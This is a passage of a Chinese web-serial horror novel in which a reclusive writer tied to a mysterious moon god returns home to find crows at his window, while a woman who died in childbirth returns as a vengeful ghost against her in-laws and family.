既然身体状况恢复正常,宴泠昭便继续之前搁置的行程:当天,他前往了G市著名的天瀑景区,亲眼目睹那道从三百米高的峭壁倾泻而下的水流,如同一条银色的绸缎在阳光下熠熠生辉。
瀑布底部激起的水雾形成一道梦幻的彩虹,与周围葱郁的山林构成一幅完美的自然画卷。
接下来的一周,宴泠昭几乎走遍了G市所有值得一游的景点。
然而,随着日程的推进,宴泠昭发现自己那股初来乍到时对G市的新鲜感逐渐淡去,内心也不再如初时那般执着于探索G市的每一个地方那种驱使他突然决定前来旅行的冲动,仿佛随着这几天的游玩消散殆尽。
当晚,宴泠昭就预订了两天后返回B市的机票。一切安排妥当后,他给朱德宏打了个电话,简单汇报了归期。
“旅途愉快吗?”朱德宏语气如常,带着恰到好处的关切。
“还行。”宴泠昭回答。
“那就好,期待你归来。”
挂断电话后,朱德宏长舒一口气,紧绷多日的肩膀终于放松下来。也只有他知道自己这几天内心有多忐忑不安。
“小祖宗总算要回来了。”他喃喃自语道,“回来就好,不过其实回哪都行,只要不在G市。”
摇了摇头,这时,办公桌上另一部手机响起。朱德宏瞥了眼来电显示,神色立刻变得严肃,迅速接起电话。
随着对面的叙述,朱德宏的表情逐渐从严肃转为惊讶,最后显露出少有的兴奋。
“真的?!”他猛地从椅子上站起,声音中带着难以抑制的激动,“不,还不能百分百确定。你们务必再仔仔细细的检查每一个水源点,一处都不能遗漏!确保结论绝对准确!”
他又仔细听取了对面的补充说明,随后给出一系列专业指示,直到确认所有程序都将按最高标准执行,这才结束通话。
放下电话,朱德宏重新坐回椅子,握着鼠标轻点几下,打开了保存在桌面的一个特殊书签。
屏幕上显示出《一本恐怖小说》的作者页面,作者ID“kjhgf”下方整齐排列着一系列作品标题。
朱德宏将页面下拉至最近更新——《寄生》篇第11章,标题后方标注着:(完)。
尽管后勤部已经将整合分析好的报告发送给他,但只要有空闲,朱德宏还是会亲自阅读一遍原文。
点开《寄生》第一章,朱德宏一字一句的浏览起来。
前面做铺垫的内容略过。
主角的家乡祖传供奉一位尊号为苍珥万象九重终焉阒阴至尊的神明。
我国神明的尊号本身就是其能力的概述——“珥”代表日月晕珥天象;“九重”与“苍”皆指天;“终焉”意为终结、结束;“阒”表示寂静;“阴”指向那些负面、不可见、寒冷无光的领域。
总体来看,这位神明虽然兼具太阳属性,但更偏向于月亮系统的阴性力量。而”至尊”则表明其在此领域至高无上的地位。
小说中的寄生体,也就是是上一篇《水鬼》里的鬼怪,本身不具备繁殖能力,也没有此类欲望,但因接触了另一位神明的力量而发生了变异。
那位神明被称为“黑山羊之母”,小说后文解释:这位神明是外来者,不属于地球,所以也叫外神。祂还有一个称号:“万物之母”。掌管生命与生殖,具备惊人的繁衍力。
其形态描述更是令人毛骨悚然——一团不断翻滚溃烂的巨大云雾,时而聚合形成骇人的身体器官拥有黏滑的黑色触手,滴着粘液的嘴,或扭曲的短腿,腿末端是酷似羊蹄的黑色蹄子。①
当祂降临时,还会裂生出黑山羊幼崽,这或许就是其“黑山羊之母”称号的由来。①
在作者笔下,这位神明被描绘为极度邪恶的存在,祂遨游于宇宙间,拥有众多信徒。一旦这些信徒成功引起祂的注意,祂就会降临,随之而来的是整个世界的毁灭。
水鬼的变异正是受到了祂的力量的污染。
考虑到作者笔下的鬼怪在现实中都是真实存在的,这样一个邪恶恐怖的存在若也是真的,简直令人不寒而栗。
人类之于祂就好比蝼蚁。
不是悲观,而是事实。
说来“月神”和“日神”不就是么。
所幸在小说结局中,主角最终抱着“苍珥万象九重终焉阒阴至尊”的神像,搂着自己的女儿绝望等死之际,神像突然发威,所有寄生体都在这股力量下灰飞烟灭。
故事就此画上句号,并未如前作《水鬼》那样留下悬念,比如暗示“万物之母”已注意到地球之类的可怕发展。
朱德宏叹了口气,眼神复杂。他望向窗外皎洁的月亮,喃喃道:“月神和日神应该就是外来者外神?”
“苍珥万象九重终焉阒阴至尊呢?我国有这个神明么?”
朱德宏沉吟了几秒,拿出钢笔在纸上写写画画。
【作者有话说】
①原文描述
黑山羊之母来自克苏鲁神话
苍珥万象九重终焉阒阴至尊→作者瞎编的
感谢支持[猫爪]
54 第 54 章
◎不请自来的乌鸦◎
回到B市后, 宴泠昭陷入了一种异常的倦怠状态。不知道是不是因为这次的外省旅行耗尽了他的精力,宴泠昭就是没来由的觉得特别累。
连续几天, 他几乎什么也不做,只是躺在沙发或床上发呆。玩手机吧,没看一会就感到眼睛疲劳总之平常放松的事情现在做起来一样没劲。
大部分时间,他都双手交叉平放在小腹上,目光发散的盯着天花板,任由思绪如无根浮萍般漂浮。
这种异常的状态让宴泠昭开始反思自己的工作, 而这一反思,令他忽然意识到距离自己上次执行任务已近一个月,如今迟迟没有新的指派。
领着薪水却长期无所事事,宴泠昭良心不安。
想了想, 宴泠昭拿起手机,给朱德宏发了条vx。信息简洁明了:【最近有什么任务需要我参与吗?】
另一边。
朱德宏的办公桌上文件堆积如山, 但神情却比前段时间轻松了许多。
G市的寄生体危机出现了意外转机:所有寄生卵不知何故全部消失, 连已经成功寄生的个体也无影无踪, 仿佛从未存在过。
说起来,起初他们以为寄生卵只侵染人类,后来发现动物也会被寄生。这一发现曾让防控工作陷入绝境——人类尚可隔离检查,动物却无法全面覆盖。一旦寄生体完全扩散, 可能导致全球灾难级别的事件。
幸好, 情况出现了逆转。
朱德宏对此心中有数:他怀疑与宴泠昭有关。不然为什么不爱出门的宴泠昭突然心血来潮要去G市, 而他去了G市没多久,寄生体就全部没了。很难不说他与这件事无关。
至于宴泠昭为何这么做或者说, 操控他的幕后黑手有什么目的。
朱德宏在阅读《寄生》后有了一个大胆假设:
已知:宴泠昭与月神存在某种未知联系。
又:月神与日神可能是敌对关系。
所以:是月神操控的宴泠昭前往G市, 其目的就是为了对抗日神。
——这个推测乍一看缺乏逻辑基础。
但《寄生》篇提供了以上线索:故事中出现了两位神明, 一位与月亮明确相关, 另一位虽与太阳无关,但其无限繁殖的特性恰与寄生卵的行为模式高度一致。
基于这些线索,朱德宏猜测日神与月神是敌对关系,再进一步推导,那股无形之中影响他和宴泠昭的力量,除了强得被赋予“神明”称号的月神,还能是谁。
哦,日神也有可能,但祂和宴泠昭没有联系。而宴泠昭和月神有关联是经过“官方”认证的。
于是,最终得出结论:两位神明没有选择直接交锋,而是通过各自的“代理人”进行较量。这种模式类似于大国之间的冷战策略。
直接冲突可能导致双方同归于尽,因此选择更为隐秘的方式。
两神的暗中较劲对人类而言倒是一桩好事,为人类提供了宝贵的喘息机会。
朱德宏将上述推测记录成报告,提交给高层。随后由一号召开特别会议,以《如何应对两位神明的潜在冲突及延缓其正面交锋》为主题展开讨论。
经过长时间的激烈辩论,会议最终得出一个令人沮丧的结论:无能为力。
就像小国无法阻止两个超级大国之间的对抗,人类干涉这种级别的冲突不仅毫无效果,甚至可能引火上身。
不过尽管前景黯淡,但没有一位参会者提出放弃。只是将重点转向代号“火种”的备用计划——加速发展太空技术,移民其它星球。
这当然绝非理想选择,而是面对可能的末日灾难,保存文明火种是不得不考虑的选项。
会议结束后朱德宏心事重重的返回办公室,看到桌子上G市的报告松了口气,好歹是有一个好消息。
同时也是这个时候,他看到了宴泠昭发来的消息,顿时不禁既欣慰又头疼。
不过总体而言,朱德宏还是倾向于欣慰——高尚的品格是宝贵的特质,尽管面对神明的操控,宴泠昭也无力改变,但至少现在能少一分外部干预就少一分风险。
而他之所以迟迟不肯派任务给宴泠昭,是担心重演龙湖村那样的意外事件。特别是现在已知月神与日神“关系不合”,宴泠昭上次失控大概率就是因为日神
虽然按照G市事件的发展来看,想完全避开这种冲突是不可能的,宴泠昭不去,月神也会让他去。但这不妨碍朱德宏坚持能少则少的原则。
思忖再三,朱德宏回道:
【你的想法我理解请记住,你并非正式军人,只是因特殊情况才参与这项艰险的事务近期,托你的福,研究院连连取得重大突破,新型武器装备效果显著,大幅提升了我们应对诡异的能力这意味着我们现在能解决大多数问题,不必再冒险让你直接参与就像国家不会在非紧急情况下动员平民一样,我们希望尽可能保护你的安全。
不要想太多,你领的工资也算上了为研究院提供数据的报酬。】
***
宴泠昭看着朱德宏的回复陷入沉默。
怪不得那么多人挤破头皮也想进体制,体制内不仅工作稳定,福利待遇优渥,连人际关系都如此体贴周到——不,话不能这样说。
他在网上也看过不少基层公务员的抱怨,人家的苦恼也是真实存在的。
所以只是他运气好而已况且,他也不属于传统意义上的公务员,更像是某种特殊的“前线战士”。从这个角度看,待遇优厚便合情合理了。
毕竟,若无相应的回报,谁愿意冒险奔赴危险第一线?想想其它国家对军人的态度与保障,宴泠昭更爱国了。
【好的,如果研究院还需要帮助,随时联系我。】他回道。
接下来的日子,宴泠昭继续在家中葛优瘫。前前后后休息了半个月左右,他终于恢复了精神,准备重新投入创作。
写什么呢?
宴泠昭撑着下巴坐在电脑前沉思。
窗外阳光明媚,几只麻雀在窗台边缘欢快地啄食着他刚撒下的小米,毛茸茸的小身体圆润可爱。
过去,他的灵感多来源于“发病”时所见的异象——那些变异的场景与扭曲的人物。然而,自从知道自己病的实际上并没有那么严重,所见的“幻觉”大部分都是真实存在的后,他“犯病”的概率就大大降低,如今,已经很少再看见鬼怪了。
这也在情理之中。
根据朱德宏的解释,鬼怪数量其实并不多:自鬼怪现象首次记录以来的八十年间,有案可查的灵异事件也不过几百起。
是以,他身边聚集了多位鬼怪邻居的情况,堪称特例中的特例,也不知道是不是他这个小区“风水”太好了
总之,他现在实在没有灵感。
叹了口气,宴泠昭决定暂时放下写作计划。没办法,没有灵感,硬撑也出不了好作品。
评论区的催更声他不用看也能想象——抱怨他更新频率越来越低的留言必然占了大多数。
转头看向窗台,被他定期喂养而变得圆滚滚的小麻雀在欢快地跳跃进食。阳光照耀下,它们的羽毛泛着暖和的光泽,毛茸茸的身体格外可爱。
反正这会也没灵感,宴泠昭干脆起身走到窗边,伸出手指,轻柔地抚摸离自己最近的那只麻雀。
而那只麻雀也不仅不怕他,反而主动的将脑袋蹭向他的指尖,亲昵得如同家养的宠物。
这一温馨互动让宴泠昭心头不禁涌上一股暖流,他的眼神柔和下来,嘴角微微上扬。午后的阳光洒在他的脸上,驱散了那份常年萦绕的阴郁气质,为这张精致冷恹的面庞增添了几分难得的生气与温暖。
***
是夜。宴泠昭已经陷入沉睡。
明亮的下弦月高悬天际,将银色的光辉洒向大地。月光透过薄纱窗帘,在卧室地板上勾勒出朦胧的光影图案,然后某一瞬间,光亮突然增强了几分,随后又很快弱下下去,恢复正常
翌日清晨,宴泠昭惯例为自己泡了杯咖啡。啜饮一口后,他抓了把小米,走向窗台进行投喂。
将一颗颗洁白饱满的米粒均匀撒在窗台边缘后,他靠在一旁,耐心等待着那些熟悉的小访客。
按照以往的经验,麻雀们通常会在半分钟左右应声而至——毕竟,这个窗台已经成为它们的固定“食堂”。
尽管宴泠昭并非每天都会投喂,但每隔两三天的定期喂食也足以让这些机灵的小生物牢记此处“神秘打野点”。
不多时,一阵扑棱棱的翅膀拍打声传来。
宴泠昭期待着看到那些熟悉的小身影。然而,下一秒,映入眼帘的却是一个体型相较庞大的漆黑身影,它稳稳地落在窗台边缘,吓了宴泠昭一跳。
这只陌生的黑羽鸟类站在对它而言并不宽敞的窗台边缘,显得有些局促,但这丝毫不妨碍它低头啄食那些本为麻雀准备的谷物。看那自然、熟练的动作,仿佛宴泠昭要喂的鸟本来就是它。
毫无疑问,这是一只乌鸦。
漆黑发亮的羽毛在阳光下泛着微微的蓝紫色光泽,锐利的眼睛不时抬起,仿佛在审视着屋内的宴泠昭。
宴泠昭默默看着这位不请自来的访客,一时不知该做何反应。
哪来的乌鸦?在他的记忆中,小区里从未出现过乌鸦。
宴泠昭就这样默默注视着窗台上的不速之客。
乌鸦脸皮也很厚,丝毫没受到任何影响,从容地啄食着本为麻雀准备的食物。
将最后一粒小米吞下,乌鸦略微昂首,似乎在品味食物的余韵。随后,展开翅膀飞走了。
宴泠昭耐心等待了十余分钟,感觉那位黑色访客已经远去,他再次走进厨房,捧出一把新的小米。
然而他刚将小米均匀地洒在窗台上,天空中便传来一阵低沉的鸣叫声。抬头望去,宴泠昭瞳孔地震。
只见一群乌鸦朝着他的窗台飞来。
乌鸦们接连降落在宴泠昭家窗台边缘,它们体型之大使得对于麻雀来说还算宽敞的空间顿时拥挤不堪。
而面对这种局面,该说不说不愧是以聪明闻名的鸟类,它们竟然自发排起了队伍——前面的啄食完毕后礼貌退让,后面的再上前就餐。
宴泠昭垂下眼睫,有些心烦。
倒不是他对乌鸦有什么偏见。客观而言,乌鸦是极具智慧的生物,在许多文化中还被视为神秘力量的象征只是比起这些深沉内敛的黑色生物,他更喜欢活泼可爱的麻雀。
今日看来麻雀们是不会来了,宴泠昭不免有些感到失望。
不知道是不是日有所思,宴泠昭晚上睡觉就梦见了乌鸦。
梦中,他在窗台投喂,夜色下,一只体型大得惊人、差不多中型犬那般大的乌鸦飞了过来。
这只巨大的乌鸦一降落,整个窗台便被它尖锐的爪子完全占据,窗户也被挡住了一大半。它那双漆黑的眼睛直视着宴泠昭,就好像有灵性一样,宴泠昭莫名有种强烈的预感——乌鸦下一秒就会开口说话。
然后,乌鸦真的就在下一秒说话了。它张开尖锐的喙,发出的却是清晰的人类语言:
“吾主。”乌鸦的声音低沉而嘶哑,带着尊崇,微微停顿了下。
接着,一连串被模糊处理的声音从乌鸦口中倾泻而出。
“迟早要把[乱码]的弔[消音]切碎——像蟑螂一样[消音]不要脸的[消音]”
虽然听不清楚,但宴泠昭能猜到乌鸦是在骂人。骂的特别脏的那种。
宴泠昭:“”
55 第 55 章
◎你喜欢孩子吗◎
B市妇产医院。
产房。
空气中弥漫着浓郁的消毒水气味。
伴随着痛苦的呻吟, 林怀思已经在产床上挣扎了将近三十个小时,她苍白的脸上布满汗水, 黑发凌乱的黏在额头和脸颊上。每一次宫缩都如同一波无情的海浪,将她推向痛苦的深渊又残忍的拉回。
“再坚持一下,宫口已经开到八指了。”年轻的刘护士鼓励道,同时擦拭着产妇脸上的汗水。
林怀思的声带已经因长时间的叫喊而嘶哑,她无力地摇着头,泪水与汗水混在一起:“我真的不行了”
她心中涌起一阵刻骨的怨恨, 不只针对自己的处境,还有那个正在她体内挣扎、给她带来难以承受之痛的生命。
为什么要来折磨我?
这个念头在她脑海中一遍遍回荡。
监护仪上的数字开始出现波动,胎心率不稳定的警报声响起。
“胎位不正。”医生表情凝重,额头渗出细密的汗珠, “需要立即干预,否则母子都危险。”
“请王主任来!”一旁的护士长迅速反应, 转头对巡回护士说道。
巡回护士点了点头, 快速跑到手术间外的通讯面板开启广播叫人。
五分钟后, 一位六十多岁的女医生大步走进产房,她叫王桂芝,妇产科界的传奇人物,四十年临床经验, 名气非常大, 许多产妇就是为了她慕名前来B市的妇产医院生产。
王桂芝没有多言, 熟练地戴上手套,走到手术床前, 双手轻柔的放在林怀思高高隆起的腹部, 闭上眼睛, 仿佛在感受腹中胎儿的位置。随后, 开始轻轻推按。
“来,用力!”王桂芝突然睁开眼睛,命令道。
林怀思几乎已无力气,但仍然咬紧牙关,使出最后的力量。
下一秒,一声响亮的婴儿啼哭划破了产房的紧张气氛。
“是个男孩。”护士高声宣布,脸上浮现出如释重负的笑容。
她将婴儿递向产妇,但林怀思别过脸去,眼中闪烁的不是母爱的光芒,而是深深的厌恶与怨恨。
“拿走。”她虚弱但坚决的说,“我不想看到他。”
医护人员们面面相觑,不过对于产妇的态度,他们也能理解。毕竟这孩子生的确实过于艰难。
生产结束了,护士们正准备收拾残局,林怀思的脸色突然变得灰白,监护仪上的各项数值开始疯狂波动。
“血压急剧下降!”
“有大出血!”
“羊水栓塞?!”
医护人员的声音重叠在一起,听得出他们的语气十分紧张。
王桂芝表情严肃:“立即准备抢救,通知血库,去取血来!”
其中一名护士抱着裹好的婴儿离开产房,而产房内已化作一场与死神的赛跑。
林怀思的意识逐渐恍惚,眼前的世界时而清晰时而模糊。她听见医护人员焦急的呼喊,感受到冰冷的液体通过静脉注入体内,却无法做出任何回应。
一种深深的不甘与怨恨在她心中蔓延。
为什么会这样?
为什么?
是了,结婚生子不是她自愿的,是父母强迫她的,她甚至从未想过要孩子。
都说人死后会有走马灯,这或许是真的,因为林怀思确实不受控制的开始回忆起自己的“前半生”:
大学毕业后,她本有着光明的前途,成功应聘上了一家上市外企,不知道多少同学羡慕她。但随之而来的父母急切的催婚压力、相亲对象家庭的劝说,以及自己那份难以启齿的怯懦,让她最终选择了低头,走上父母规划的道路。
结婚后,丈夫和公婆立即要求她生育。“年轻好生养”、“早生早轻松”、“不能让香火断了”这些话语日日夜夜在她耳边回响。她的拒绝和推迟被视为任性,她的身体被当作传宗接代的工具。
怀孕后,她不得不放弃工作。整个孕期,持续的孕吐、腰痛、水肿,以及家人对她孕期情绪的漠视,一点点磨灭了她眼里的光。
于是,她不受控制的将怨恨与厌恶也转移到了胎儿身上。
现在,这个讨厌的孩子还要夺走她的生命
林怀思恨极了。
医生这边经过一番抢救,最终很遗憾,没能挽救回孕妇的生命。手术室全员静默哀悼。
时间:凌晨1点59分。
产妇:林怀思。
死亡原因:羊水栓塞并发弥散性血管内凝血
B市妇产医院,大堂。
“这是医疗事故!你们必须负责!”林怀思的丈夫陈强咆哮着,他的父母站在一旁不断抹泪。
林怀思的父母更是几近崩溃,母亲瘫坐在地上,不住地捶打自己的胸口:“我的女儿啊我怎么对得起你”
医院的安保人员试图维持秩序,院方代表则一遍又一遍的解释羊水栓塞的突发性和高死亡率,但悲伤愤怒的家属们根本听不进去。
“我们要说法!要赔偿!”陈父高声喊道。
第二天清晨,情况进一步恶化。
林怀思的遗体被家人抬到了医院大门口,横放在一张简易床上。九月的烈日下,尸体很快开始散发出异味。
“我们要医院公开道歉!要求赔偿五百万!否则不会把人带走!”陈强手持喇叭,带领两家人在医院门口拉起横幅。
“你们这样对逝者很不尊重,天气这么热,遗体需要尽快处理。”医院代表劝说。
“你们害死了我女儿,还谈什么尊重?”林父激动的反驳。
医院方面提议先将遗体送入冷藏设施,费用医院承担,但家属们仍一口拒绝。他们似乎认为,只有让遗体在众目睽睽之下,才能给医院足够的压力。
连续三天的僵持后,医院同意赔偿两百万,家属接受了。
合同一签订,赔偿金一到账,两家人的态度立刻发生了微妙的变化。
“终于可以让怀思入土为安了。”林母擦着眼泪说道,声音里的哀伤淡了许多。
“是啊,这孩子受苦了。”陈母附和道,手指却在手机银行APP上来回滑动,确认转账金额。
林家那边分了一百万,他们家一百万
一旁,刚出生不久的男婴被亲爹抱在怀中,无知无觉的熟睡着。
***
火葬场。
林怀思的遗体被送入火化炉,工作人员刘师傅已准备好接下来的程序。这也是他从业二十年来的日常。
按下焚烧装置的开关,火焰喷涌而出烧灼遗体,火化炉内顿时传来一阵阵爆裂声。
一小时后,火化结束。按照流程,刘师傅进入火化炉收集骨灰。然而打开炉门的瞬间,刘师傅的表情凝固了。
“这不可能!”
只见林怀思的遗体完好无损的躺在里面,连头发都没烧掉。更令人毛骨悚然的是,她脸上那扭曲恐怖的微笑,以及眼睛——那双本应在高温下萎缩的眼球——也大大的睁着,仿佛在注视着他。
深夜。
陈家。
陈母抱着刚出生不久的孙子轻轻摇晃着,嘴里哼唱着摇篮曲哄睡。
房间里只开了一盏小夜灯,昏黄的光线营造出温馨的氛围。
随着摇晃的节奏,陈母的眼皮也开始变得沉重。她强撑着不让自己睡着,拍打婴儿的手却越来越慢。
就在她即将滑入梦乡的刹那,一股刺骨的寒意骤然袭来,如同一桶冰水浇在背上。陈母猛然惊醒,发现房间的温度骤降,呼出的气体在空气中形成白色的雾气。
不等她回过神来,小夜灯的光线变得忽明忽暗,墙上投射出一道人影。
陈母下意识抬眼望去。
一个女人站在房间角落,长发遮住了大半张脸,腹部有一道狰狞的伤口,里面空空如也,仿佛被掏空了一般。
“怀怀思?”陈母颤抖着开口,不敢置信的喊道。
女人没有回应,只是缓缓抬起手,指向陈母怀中的婴儿。她的表情不是母亲对孩子的眷恋,而是纯粹的怨毒与憎恨。
“你想要他吗?”林怀思的声音如同破碎的玻璃划过金属,沙哑得刺耳,“我帮你”
陈母本能的收紧双臂,将孙子护在胸前:“你别过来!你想干什么!”
林怀思的嘴角咧开扯出一个可怖的微笑,她那空洞的腹部张开,如同一张巨大的嘴,“我满足你”
隔壁房间里的陈强和陈父被凄厉的尖叫声吵醒,一脸懵逼的坐起身来,本能的冲向婴儿房,然后在推门看清里面的景象后,呆呆地站在门口,显然是吓傻了。
——陈母僵硬的躺在地上,面部扭曲成一个恐惧的表情,双眼圆睁,死不瞑目。更吓人的是她的腹部异常隆起,就像怀胎十月的孕妇
经法医鉴定,对陈母的初步检查显示,她的腹腔内确有一个婴儿(已死亡),直接把陈母的子宫都撑破了,一条腿还搭在陈母的肋骨上。
这婴儿已有几天的岁龄,加上陈母子宫的紧绷程度,并非是怀过孩子的状态那么问题来了,孩子不是陈母怀的,那是怎么进入陈母的体内的?要知道陈母腹部皮肤完整无损,没有任何手术痕迹或外伤。
法医百思不得其解,差点怀疑起自己的专业性。
后面通过与死者家属对话,确认婴儿系死者孙子。
***
B市公安总局。
副局放下文件,眉头紧锁:“这个案子转交特殊部门处理。”
“已经联系了,他们的人正在赶来的路上。”
九月的尾声,骄阳依旧似火。虽日历上显示已经入秋,但B市的温度却仍然停留在盛夏的水准。
不过,这种反季节的炎热不会持续太久。再过两天便进入十月了,差不多等到国庆结束,气温就会骤降,进入真正的秋天。
宴泠昭站在窗前,将一把洁白的米粒均匀撒在窗台边缘。
不消片刻,阵阵翅膀拍打的声音由远及近传来。但来者并非记忆中蓬松可爱的麻雀,而是群体型硕大、羽毛如缎般漆黑的乌鸦。
这是它们连续第五天光顾宴泠昭家的窗台了。
乌鸦们井然有序的排队进食,偶尔抬头,看看屋内的宴泠昭。
喂完这群黑色访客,宴泠昭拎起装满生活垃圾的塑料袋,下楼丢垃圾
将垃圾妥善投放进指定的分类垃圾箱后,宴泠昭转身准备回家,却在此刻瞥见一个单薄的身影迎面走了过来。
是位女性,披头散发,身形瘦削得惊人,几乎像一张纸片,行走时脚步轻盈到近乎悬浮即使相隔数米,那种萦绕在她周身的阴翳气息也清晰可辨。
宴泠昭一时间没能将她与记忆中的任何人对应起来,但她的那张面孔他是熟悉的。想来应该也是小区里的住户,他们曾有过一定程度的交集,兴许是点头之交。
眼见女子的行进路线即将与自己交汇,宴泠昭如同往常一样,下意识的往旁边让出更多空间。这是他多年形成的社交习惯——尽可能减少与陌生人的接触,即使是在宽阔的路面上。
很快,女人便走到了他面前。宴泠昭本以为她会直接走过去,不想女人停了下来,缓缓转头看向他,轻声问了句:“你喜欢孩子吗?”
“什么?”宴泠昭还以为自己听错了,鉴于这个问题实在是太莫名其妙了。
女人重复了遍:“你喜欢孩子吗?”
宴泠昭看着女人,感觉对方精神状态不太正常的样子,不由得警惕起来。
56 第 56 章
◎别急◎
面对女人奇怪的问题, 宴泠昭选择了最为安全的应对方式:不回应。而他们要走的方向明显不同,于是他低下头, 加快脚步迅速离开了。
途中能够清晰的感受到背后的那道目光——冰冷、渗人、仿佛能穿透衣物直达脊髓。
女人静静地站在原地,目送宴泠昭远去,没有追赶,没有呼喊,只有那无形的视线如影随形。
直到转过一个拐角,那种被注视的压迫感才逐渐消散。
宴泠昭轻轻呼出一口气。社恐对于他人的注视真的很难受, 尤其这个“他人”还有精神不正常的嫌疑。
开门回家后,宴泠昭径直走向饮水机,拿起放在水桶上的杯子,接了满满一杯。水流撞击杯底的声音在安静的客厅里显得格外清脆, 接完水,他将杯子举到唇边, 一口气喝下大半, 喉结随着吞咽动作上下滚动。
傍晚。
“今天我在小区里遇到一个奇怪的女人。”宴泠昭一边盛饭, 一边说道,“很瘦,披着头发,看起来精神状态不太好。你们有谁认识吗?”
保安王大爷皱着眉头回忆了一下:“你说的太笼统了。”
何老摇摇头, 表示不知道。
李奶奶慢悠悠的说:“小区里神神叨叨的倒是有几个, 但她们可不年轻。”
手机鬼正全神贯注的玩着平板电脑上的游戏, 头也不抬的嘟囔道:“我不道啊,我不是这小区的。”
——最近, 手机鬼沉迷游戏已到达痴迷程度, 每天都抱着宴泠昭的平板电脑哪也不去哪也不做, 除非宴泠昭要求。俨然有向死宅“进化”的趋势。
李小虎好奇的问:“那个女人干嘛了?很可怕吗?”
“她问我喜不喜欢孩子。”宴泠昭回答, 语气平淡,“问题本身没什么,但我都不认识她。而且,她看起来有些不正常。”
众鬼面面相觑,意识到了什么,不过都没说。
宴泠昭也没再追问,反正他只是随口一说,既然没人知道就算了。
***
林家。
林天骄窝在卧房里打游戏,屏幕上显示他的游戏角色又一次被击败。林天桥气得脸色涨红。
“艹!你们会不会玩啊!废物队友!”他一边咒骂着,一边狠狠地拍打桌面,以至旁边的零食包装袋纷纷掉落
又一场惨败后,林天骄愤怒的退出游戏,伸手抓起桌上尚未开封的可乐,拧开瓶盖大口饮下,企图缓解心中的怒火。
然而可乐的甜腻和二氧化碳的刺激并没有让他平静下来,反倒更气了。
林天骄索性站起身,打算去阳台透透气,让自己冷静一下。但他那过度肥胖的身体却成了行动的障碍,大腿内侧的赘肉相互摩擦,影响了平衡。他一个不慎,脚下一滑,重重的摔在了地上。
“砰——”一声巨大的闷响伴随地板的剧烈震动,整个房间都仿佛为之一颤。
恰在此时,林父林母刚打开家门准备进屋,被这突如其来的动静吓了一跳。两人对视一眼,立刻意识到声音来自儿子的房间,连忙快步奔去查看情况,却发现门被锁上了。
“儿子!儿子你怎么了?”林母焦急地拍打着门,声音中满是不安。
林天骄疼得面容扭曲,冷汗直冒,“摔了一跳,妈,我好痛。”他试图撑起身体,却感到右脚踝传来一阵剧痛。
“能开门吗?你把门开开!”林母的声音变得更加急切。
林天骄挣扎着想要站起来,奈何右腿拉胯,以他的体重光靠左脚又根本保持不住平衡。
“不行,我好像扭到脚了,是不是骨折了啊?”
林母听闻儿子可能骨折,更担心了,开始用肩膀撞击房门,试图强行打开。
好在林父保持了冷静,迅速去客厅电视柜抽屉里翻出家中各个房间的备用钥匙,然后快步回到儿子门前,一把拉开正歇斯底里的妻子,用钥匙打开了房门。
当门被推开的那刻,两人看到自己200多斤、接近300斤的儿子痛苦的倒在地上,心疼的不得了。林父林母赶紧冲上前去,尝试将儿子扶起来移到床上,却发现根本无法撼动这具庞大的身躯。
“疼死我了,别动别动!”林天骄痛得大叫。
林母一边安抚儿子,一边掏出手机拨打了120。
救护车很快抵达小区,医护人员带着担架跑上楼来,却在看到林天骄的体型后面面相觑——标准担架的承重极限显然不足以支撑病人的体重。
经过一番商议和调整,医护人员不得不呼叫增援,又多叫来了四个人,才勉强将林天骄抬起。然而,更大的挑战还在后面:如何将这个体型超标的伤者从没有电梯的六楼安全送下去
整个过程可谓是惊险万分,好几次林天骄差点从担架上滑落,抬担架的医护人员也险些在狭窄的楼梯间摔倒。
所有人都累得气喘吁吁,汗流浃背,这才终于将伤者送上救护车。
到医院经过一番检查,确认林天骄右脚踝骨折,所幸不是开放性骨折,也没有碎骨片,只需要打石膏固定,静养恢复即可。医生特别强调了“伤筋动骨一百天”的恢复期,并委婉的建议林天骄应该控制体重。
“医生都说你超重了。”林母一边整理病床上的被褥,一边担忧的说道,“你还是减减肥吧,不然以后怎么娶媳妇啊?”
林天骄满不在乎的哼了两声,“有钱怎么娶不到媳妇?我姐那事儿不是弄来了100万吗?100万够我找个漂亮老婆了。”
他轻描淡写的提及姐姐林怀思的死,还毫无心理负担的准备利用姐姐的死换来的钱。
而林母对儿子这种冷漠的态度也丝毫不觉得哪里不对,甚至顺着他的话说道:
“100万?什么天仙敢要100万!我家这么优秀的儿子,女生看不上你是不识好歹。”说着她顿了下,意识到自己偏离了话题,苦口婆心的再次劝道:“妈主要是担心你身体不健康,医生说太胖了,容易引起各种疾病。”
“知道了知道了。”林天骄不耐烦地挥挥手。
***
一般情况下,单纯的骨折在打完石膏后就可以出院了,但林父林母担心儿子,决定先续费住院三天再说。
住院了林天骄也不省心,指使父母去买烧烤送来,一边吃着油腻的食物,一边玩着他的游戏,时不时骂出各种污言秽语。同病房的其他病患不堪其扰,其中一位六十多岁的大娘,终于忍不住了,说道:
“小伙子,这是医院,能不能安静些?大家都是病人,需要休息。”
林天骄闻言勃然大怒,本来输了就气。
“关你屁事?老太婆管这么宽!”
大娘被这粗鲁的言辞激怒,起身走向林天骄,打算好好说道说道这个没礼貌的年轻人。然而,就在她接近林天骄病床边缘的时候,林天骄突然伸出一只肥硕的手臂,用力一推。
大娘瘦小的身躯完全不是对手,直接被推倒在地,发出一声痛苦的呻吟。
好巧不巧,大娘的儿子从外面回来,目睹这一幕,气得半死,二话不说冲到林天骄床前就是几拳。林父林母也回来了,看到儿子被欺负,立即加入战局。
霎时,整个病房变成了一个混战场,怒骂声、指责声和威胁声此起彼伏。
护士听到动静赶来制止,却无法平息双方的怒火,最终不得不呼叫保安介入。
最后经过一番协调,医院将两家分别安排到不同病房。
***
半夜。
林天骄被尿憋醒,睡眼惺忪地坐起身,摸索着拿起床边的拐杖,一瘸一拐的向病房外的卫生间走去。
卫生间里很快响起哗啦啦的放水声。
解决完生理需求,林天骄转身准备离开,余光忽然在镜子里瞥见一个身影,他下意识偏头看去——
“妈呀!”一声惊呼脱口而出,林天骄吓得抱紧拐杖。
是林怀思!
林天骄惊恐地揉了揉眼睛,再次看向镜子,里面只剩下他惨白的脸和颤抖的身体
看错了?林天骄颤巍巍松了口气。
这才对嘛,林怀思都死了,要看见林怀思,那不就是看见鬼了嘛。
估计是太困了不清醒看错的。林天骄拼命安慰自己。
眼下他也是一刻也不想待在卫生间了,回过头想要赶紧离开。然而刚一转头,便看见卫生间门口站着一个人——一个穿着沾满鲜血的病服的女人。
那张脸,他此生都不会认错。
“姐?”林天骄的声音颤抖着,瞳孔因极度恐惧而扩张。
